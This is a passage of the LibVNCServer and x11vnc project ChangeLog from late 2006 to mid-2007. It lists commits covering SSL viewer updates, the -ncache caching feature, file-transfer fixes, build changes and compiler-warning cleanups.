2007-08-04 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, x11vnc/solid.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: -xrefresh, .DCOPserver bug, -unixpw_unsafe ignores SSH tunnel. 2007-08-04 runge * libvncclient/vncviewer.c: argv > 0 doesn't make sense for a pointer; assuming argv != NULL. 2007-07-05 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: -debug_ncache, fix big fonts in tkx11vnc. 2007-07-05 runge * configure.ac, prepare_x11vnc_dist.sh: configure.ac check for external system libvncserver version. set x11vnc version 0.9.3 2007-06-18 runge * x11vnc/README, x11vnc/options.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: set NCACHE -1 for release. 2007-06-15 runge * ChangeLog, classes/ssl/ultra.vnc, classes/ssl/ultrasigned.vnc, classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, configure.ac, x11vnc/ChangeLog, x11vnc/README, x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc viewer.sh, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/scan.c, x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: fix build error if libssl is missing or --without-ssl supplied. 2007-05-27 runge * x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch: sync ssvnc unix viewer diffs; fix X cursor size. 2007-05-27 runge * classes/ssl/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch: update java viewer and ssvnc. 2007-05-27 runge * configure.ac, x11vnc/README: configure.ac: fix x11vnc --with-system-libvncserver build and add -R link flag. 2007-05-27 runge * libvncserver-config.in: Fix --libs, echo -n doesn't work everywhere. Question: why -R only for Solaris?? 2007-05-27 runge * x11vnc/Makefile.am: clobbered x11vnc/Makefile.am by mistake. 2007-05-27 runge * ChangeLog, Makefile.am, configure.ac, prepare_x11vnc_dist.sh, x11vnc/README: configure: make more of a split between libvncserver and x11vnc pkgs. 2007-05-26 runge * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, x11vnc/unixpw.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: in -unixpw, initial Escape means no echo username. 2007-05-22 runge * classes/ssl/ss_vncviewer: update regular SSL viewer jars; update ss_vncviewer script. 2007-05-22 runge * x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch: update ssvnc (SSVNC_EXTRA_SLEEP), and unix viewer (1/n menu and chat windows) 2007-05-22 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: set things up (NCACHE = -1) to not have -ncache on by default. 2007-05-19 runge * classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, libvncserver/rfbserver.c, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: More fixes to ultra java viewer, ultrafilexfer debugging output, fix -loop in .x11vncrc case. 2007-05-17 runge * libvncserver/tightvnc-filetransfer/rfbtightserver.c: Pre-C99 declaration error. 2007-05-17 runge * libvncserver/rfbserver.c: In rfbSendFileTransferChunk() check permitFileTransfer 1st to avoid false alarms. 2007-05-16 runge * prepare_x11vnc_dist.sh: Add UltraViewerSSL.jar, etc. to dist list. 2007-05-16 runge * libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c, libvncserver/tightvnc-filetransfer/rfbtightserver.c: Add logging output to know when inside tightvnc-filetransfer functions. 2007-05-16 runge * classes/ssl/Makefile.am, classes/ssl/README, classes/ssl/ss_vncviewer, classes/ssl/ultra.vnc, classes/ssl/ultrasigned.vnc, classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Add SSL support to UltraVNC Java Viewer (has filetransfer gui). Fix UltraVNC bugs and improve FTP gui a bit. 2007-05-16 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: ssvnc: SOCKS support, PORT=, Verify all Certs and accepted certs logging. x11vnc SSL debugging output. 2007-05-16 runge * libvncserver/rfbserver.c: Drop client if UltraVNC filetransfer is not enabled. 2007-05-07 runge * x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: ssvnc: Home dir changing, skip enc warning, memory stick doc. 2007-05-07 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/options.c, x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: lower -wait and -defer to 20ms. Drop client doing ultravnc stuff in -unixpw during login phase. 2007-05-05 runge * x11vnc/README, x11vnc/connections.c, x11vnc/help.c, x11vnc/remote.c, x11vnc/sslhelper.c, x11vnc/unixpw.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/xevents.c: filexfer warnings and messages. 2007-05-05 runge * configure.ac, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: add groups handling for -users mode. 2007-05-04 runge * x11vnc/README, x11vnc/help.c, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: add WAITBG=1 env. var, add mwm to -create. 2007-05-01 runge * classes/ssl/Makefile.am, classes/ssl/onetimekey, classes/ssl/ss_vncviewer, x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/help.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: ssl: java viewer patches, onetimekey; x11vnc setsid/setpgrp and -cc 4 for -create 2007-04-28 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/help.c, x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/build.unix, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: -users sslpeer= option. RFB_SSL_CLIENT_CERT, -ncache 10 default 2007-04-19 runge * prepare_x11vnc_dist.sh, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: set to next release (0.9.1) 2007-04-19 runge * x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch: Add latest vncviewer patch. 2007-04-19 runge * x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/stunnel-server.conf, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: Sync with SSVNC 1.0.15 2007-04-18 runge * x11vnc/README, x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: small changes for 0.9 release. 2007-04-08 runge * prepare_x11vnc_dist.sh: change x11vnc version to 0.9 2007-04-07 dscho * configure.ac: prepare for release of LibVNCServer 0.9 2007-04-07 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/userinput.c, x11vnc/x11vnc.1: x11vnc: add gnome, kde, etc. FINDCREATEDISPLAY tags. 2007-04-07 runge * classes/ssl/ss_vncviewer, classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch: update viewer jars and ss script 2007-04-07 runge * x11vnc/README, x11vnc/connections.c, x11vnc/help.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/v4l.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: java ingoreProxy, fix old libssl free_func problem 2007-04-06 dscho * AUTHORS, ChangeLog, rfb/rfbclient.h: rfbclient.h: use 'extern "C"' to make it convenient to include from C++ 2007-04-06 dscho * AUTHORS, ChangeLog, rfb/rfb.h: rfb.h: Do not misplace guards This buglet made it impossible to double include rfb.h from C++. 2007-03-30 dscho * prepare_x11vnc_dist.sh: build x11vnc with static libraries (at least for now) Maybe at a later stage, we want x11vnc to pick up on existing libvncserver.so and libvncclient.so, but right now, x11vnc and the libraries progress together (and thus it is better to build static, necessarily up-to-date libraries for x11vnc). 2007-03-30 dscho * AUTHORS, ChangeLog, acinclude.m4, client_examples/Makefile.am, configure.ac, contrib/Makefile.am, examples/Makefile.am, libvncclient/Makefile.am, libvncserver/Makefile.am, ltmain.sh, test/Makefile.am, vncterm/Makefile.am, x11vnc/Makefile.am: Build shared libraries per default Thanks to Guillaume Rousse, we now use libtool to build shared libraries. 2007-03-25 runge * x11vnc/README, x11vnc/pm.c, x11vnc/scan.c, x11vnc/user.c, x11vnc/userinput.c, x11vnc/xevents.c: x11vnc: remove build errors, get -ncache working on macosx again. 2007-03-24 runge * libvncserver/cursor.c: Fix short vs. char problem with X cursors. Have fg == bg == 0 imply interpolation to B&W. 2007-03-24 runge * classes/ssl/ss_vncviewer, classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch: reverse connections for ss_vncviewer. java one-time-keys. 2007-03-24 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/help.c, x11vnc/screen.c, x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: reverse SSL connections. -sleepin option. 2007-03-24 runge * x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch: reverse (listening) VNC connections. 2007-03-20 runge * x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/build.unix, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch: ssvnc: sync to 1.0.13 release. 2007-03-20 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, x11vnc/sslhelper.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: -httpsredir, x11cursor fix, nc=N login opt, no -ncache betatest for java viewer. 2007-03-20 runge * ChangeLog, libvncserver/httpd.c: Add "Connection: close" to HTTP replies. 2007-03-17 dscho * AUTHORS, ChangeLog, libvncserver/main.c, libvncserver/rfbserver.c: Fix a locking problem in libvncserver There seems to be a locking problem in libvncserver, with respect to how condition variables are used. On certain machines in our lab, when using a vncviewer to view a display that has a very high rate of updates, we will occasionally see the VNC server process crash. In one stack trace that was obtained, an assertion had tripped in glibc's pthread_cond_wait, which was called from clientOutput. Inspection of clientOutput suggests that WAIT is being called incorrectly. The mutex that protects a condition variable should always be locked when calling wait, and on return from the wait will still be locked. The attached patch fixes the locking around this condition variable, and one other that I found by grepping the source for similar occurrences. Signed-off-by: Charles Coffing 2007-03-13 runge * x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch: ssvnc: sync src/patches/tight-vncviewer-full.patch 2007-03-13 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/solid.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: fix crash for kde dcop. limit ncache beta tester to 96MB viewers. 2007-02-19 runge * x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch: ssvnc: more fixes for painting problems. 2007-02-19 runge * x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: fix -users bob= in -inetd mode. 2007-02-19 runge * x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/build.unix, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch: store 1.0.12 snapshot. 2007-02-19 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: Get ultravnc textchat working with ssvnc. 2007-02-17 runge * x11vnc/README, x11vnc/help.c, x11vnc/sslhelper.c, x11vnc/x11vnc.1: x11vnc: make https fetch in accept_openssl() work again. 2007-02-16 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/allowed_input_t.h, x11vnc/connections.c, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/remote.c, x11vnc/screen.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: add Files mode to user controlled input. more ultra/tight filexfer tweaks. rfbversion remote control. noncache/nc unixpw user opt. 2007-02-16 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/avahi.c, x11vnc/connections.c, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c, x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: tightvnc filetransfer off by default. FINDCREATEDISPLAY geometry. 2007-02-12 runge * configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, x11vnc/avahi.c, x11vnc/avahi.h, x11vnc/cleanup.c, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: add avahi (aka mDNS/Zeroconf/Bonjour...) support thanks to Diego Petteno. add -find -create 2007-02-12 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/remote.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xwrappers.c: x11vnc: -grabalways, -forcedpms, -clientdpms, -noserverdpms, -loopbg, -svc, -xdmsvc 2007-02-10 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/pm.c, x11vnc/pm.h, x11vnc/pointer.c, x11vnc/pointer.h, x11vnc/scan.c, x11vnc/screen.c, x11vnc/ssltools.h, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h, x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: watch textchat, etc in unixpw, implement kbdReleaseAllKeys, setSingleWindow, setServerInput. watch for OpenGL apps breaking XDAMAGE. 2007-02-05 runge * x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/build.unix, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch: ssvnc 1.0.11 files. 2007-02-05 runge * prepare_x11vnc_dist.sh, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: Setup for x11vnc 0.8.5 2007-02-01 dscho * ChangeLog, libvncclient/rfbproto.c, libvncclient/vncviewer.c, rfb/rfbclient.h: LibVNCClient: some users do not want to get whole-screen updates; introduce client->updateRect for that 2007-02-01 dscho * libvncclient/zrle.c: sometimes zrle sends too many bytes; play safe 2007-01-31 runge * x11vnc/README, x11vnc/keyboard.c, x11vnc/pointer.c, x11vnc/screen.c, x11vnc/solid.c, x11vnc/userinput.c, x11vnc/xdamage.c, x11vnc/xevents.c: fix warnings. 2007-01-31 runge * ChangeLog: libvncclient changes. 2007-01-31 runge * x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosx.c, x11vnc/macosxCG.c, x11vnc/macosxCGS.c, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-ne wfbsize.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h, x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/screen.h, x11vnc/solid.c, x11vnc/solid.h, x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/userinput.c, x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h, x11vnc/xevents.c: x11vnc: -reflect, -N. -ncache, FINDDISPLAY, FINDCREATEDISPLAY, improvements. MODTWEAK_LOWEST workaround. 2007-01-31 runge * Makefile.am, libvncclient/cursor.c, libvncclient/rfbproto.c, libvncclient/vncviewer.c, prepare_x11vnc_dist.sh, rfb/rfbclient.h: libvncclient: add GotCursorShape() and GotCopyRect(); x11vnc dep on libvncclient 2007-01-25 dscho * libvncserver/rfbserver.c: compile fix for MinGW 2007-01-25 dscho * VisualNaCro/Makefile.am: complain when SWIG is not present, but needed 2007-01-25 dscho * VisualNaCro/configure.ac: Complain if libvncserver-config was not found in PATH 2007-01-10 runge * x11vnc/README, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xevents.c, x11vnc/xinerama.c, x11vnc/xrandr.h: some -ncache performance improvements, rootpixmap watching, gnome wm heuristics 2007-01-09 runge * x11vnc/README, x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Fix old compiler error; fix warnings. 2007-01-09 runge * x11vnc/README, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c, x11vnc/solid.c, x11vnc/solid.h, x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c: more speed and accuracy improvements to -ncache mode. 2007-01-07 runge * x11vnc/README, x11vnc/options.c, x11vnc/userinput.c, x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c: changes to ncache cache aging and xdamage skipping 2007-01-04 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c: x11vnc: more -ncache improvements. 2007-01-02 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: more -ncache improvements. 2006-12-29 runge * x11vnc/8to24.c, x11vnc/README, x11vnc/cursor.c, x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, x11vnc/screen.c, x11vnc/selection.c, x11vnc/userinput.c, x11vnc/util.c, x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xwrappers.c: x11vnc -ncache on by default for beta test. fix -nofb & -rawfb modes. 2006-12-28 runge * x11vnc/README, x11vnc/userinput.c, x11vnc/win_utils.c: a couple more warnings... 2006-12-28 runge * x11vnc/8to24.c, x11vnc/README, x11vnc/connections.c, x11vnc/cursor.c, x11vnc/gui.c, x11vnc/keyboard.c, x11vnc/macosx.c, x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCGS.c, x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, x11vnc/nox11_funcs.h, x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/selection.c, x11vnc/solid.c, x11vnc/userinput.c, x11vnc/util.c, x11vnc/win_utils.c, x11vnc/xevents.c, x11vnc/xrandr.c, x11vnc/xrecord.c, x11vnc/xwrappers.c: still more compiler warnings; ssvnc 1.0.9 sync. 2006-12-28 runge * x11vnc/8to24.c, x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c, x11vnc/macosx.c, x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCG.h, x11vnc/macosxCGP.c, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h, x11vnc/scan.c, x11vnc/screen.c, x11vnc/sslhelper.c, x11vnc/uinput.c, x11vnc/userinput.c, x11vnc/v4l.c, x11vnc/win_utils.c, x11vnc/xevents.c, x11vnc/xwrappers.c: more compiler warnings cleanup. 2006-12-28 runge * x11vnc/8to24.c, x11vnc/README, x11vnc/connections.c, x11vnc/cursor.c, x11vnc/gui.c, x11vnc/keyboard.c, x11vnc/macosx.c, x11vnc/macosxCG.c, x11vnc/pointer.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/solid.c, x11vnc/user.c, x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/win_utils.c, x11vnc/xwrappers.c, x11vnc/xwrappers.h: x11vnc: clean up compiler warnings. 2006-12-28 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c, x11vnc/cursor.h, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosx.c, x11vnc/macosx.h, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h, x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xrecord.c, x11vnc/xwrappers.c, x11vnc/xwrappers.h: x11vnc: more work on -ncache. 2006-12-17 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xinerama.c: x11vnc: first pass at client-side caching, -ncache option. 2006-12-17 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xinerama.c: x11vnc: make -xwarppointer the default if xinerama is active. 2006-12-16 runge * rfb/rfbproto.h: Move our rfbEncodings numbers out of the TightVNC range. 2006-12-15 runge * libvncserver/auth.c: fix typo. 2006-12-13 runge * ChangeLog: Remove stray "-permitfiletransfer permit file transfer support" output 2006-12-13 runge * libvncserver/cargs.c: Remove stray ""-permitfiletransfer permit file transfer support" output. 2006-12-11 runge * x11vnc/README, x11vnc/macosxCG.c, x11vnc/macosxCGS.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: cleanup some comments. 2006-12-10 runge * x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd: sync etv 1.0.8 2006-12-10 runge * classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/cleanup.h, x11vnc/connections.c, x11vnc/gui.c, x11vnc/help.c, x11vnc/misc/Makefile.am, x11vnc/pointer.c, x11vnc/screen.c, x11vnc/screen.h, x11vnc/solid.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/v4l.c, x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: FINDCREATEDISPLAY support to create X session if one cannot be found. Fix bug in java viewer. 2006-11-24 runge * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/remote.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: install ss_vncviewer 755, -prog option, HTTPONCE new socket for -inetd. 2006-11-23 runge * 